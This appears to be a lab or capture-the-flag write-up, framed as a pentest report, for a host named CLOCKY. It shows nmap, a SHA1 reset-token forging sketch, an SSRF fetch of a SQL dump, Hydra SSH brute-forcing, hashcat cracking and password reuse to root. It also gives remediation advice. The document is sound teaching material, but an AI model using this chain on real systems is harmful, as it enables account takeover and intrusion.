Predictable SHA1 reset tokens, SSRF SQL dump, and MySQL hash reuse
Foundations web engagement: Flask password-reset tokens were SHA1 of timestamp plus username; forged administrator access and SSRF dumped SQL; clarice SSH and cracked MySQL hashes reused as root.
- Case files
- Predictable SHA1 reset tokens, SSRF SQL dump, and MySQL hash reuse
Source zip on :8000 disclosed the reset algorithm. Forged tokens seized administrator; SSRF read database.sql; SSH and MySQL hash cracking completed root via password reuse.
index.zip revealed the SHA1 token formula; brute-forcing subseconds reset administrator.
Dashboard SSRF fetched database.sql; Hydra recovered clarice for SSH.
Extracted caching_sha2_password hash, cracked with hashcat, reused for su root.
Engagement summary
Source zip on :8000 disclosed the reset algorithm. Forged tokens seized administrator; SSRF read database.sql; SSH and MySQL hash cracking completed root via password reuse.
CLOCKY (10.49.166.98) exposed SSH, Apache on 80, nginx on 8000, and Flask/Werkzeug on 8080. /index.zip from :8000 contained app.py showing reset tokens as SHA1 of datetime truncated plus username. We requested a forgot-password flow, brute-forced the hundredths of a second, and reset administrator. Dashboard SSRF (http://clocky:80/database.sql) dumped credentials. Hydra authenticated clarice over SSH; .env held MySQL secrets; a caching_sha2_password hash cracked and reused for root.
Business impact
Predictable password-reset tokens are account takeover. SSRF into internal SQL dumps exposes the credential store. Password reuse from MySQL to root collapses privilege boundaries. Use CSPRNG tokens with short TTL, block SSRF to internal hosts, and enforce unique strong passwords per principal.
Source leak and forged reset token
index.zip revealed the SHA1 token formula; brute-forcing subseconds reset administrator.
OPERATOR · SOURCE
savvy@lab:~$ nmap -sV -p 22,80,8000,8080 10.49.166.98
8000/tcp open http nginx
8080/tcp open http Werkzeug
savvy@lab:~$ wget http://10.49.166.98:8000/index.zip && unzip index.zip
app.py # SHA1(str(datetime)[:-4] + ' . ' + USER.upper())
TOKEN FORGE
import hashlib, datetime
# after POST /forgot_password, read server time from /
# for i in range(100):
# ts = f"{base}.{i:02d} . ADMINISTRATOR"
# token = hashlib.sha1(ts.encode()).hexdigest()
# GET /password_reset?token=... until acceptedSSRF dump and clarice SSH
Dashboard SSRF fetched database.sql; Hydra recovered clarice for SSH.
OPERATOR · SSRF / SSH
# dashboard URL fetch: http://clocky:80/database.sql
savvy@lab:~$ hydra -L users.txt -P sql_passwords.txt ssh://10.49.166.98
[22][ssh] login: clarice
savvy@lab:~$ ssh clarice@10.49.166.98
savvy@lab:~$
MySQL hash crack and root reuse
Extracted caching_sha2_password hash, cracked with hashcat, reused for su root.
OPERATOR · ROOT
savvy@lab:~$ cat /home/clarice/app/.env
# MySQL clocky_user credentials
savvy@lab:~$ hashcat -m 7401 hash.txt rockyou.txt --show
dev:dev
savvy@lab:~$ su root
root@lab:~# id
uid=0(root) gid=0(root) groups=0(root)
Remediation
Issue opaque reset tokens from a CSPRNG. Deny SSRF to RFC1918 and link-local. Separate OS and database passwords; disable password auth for root where possible.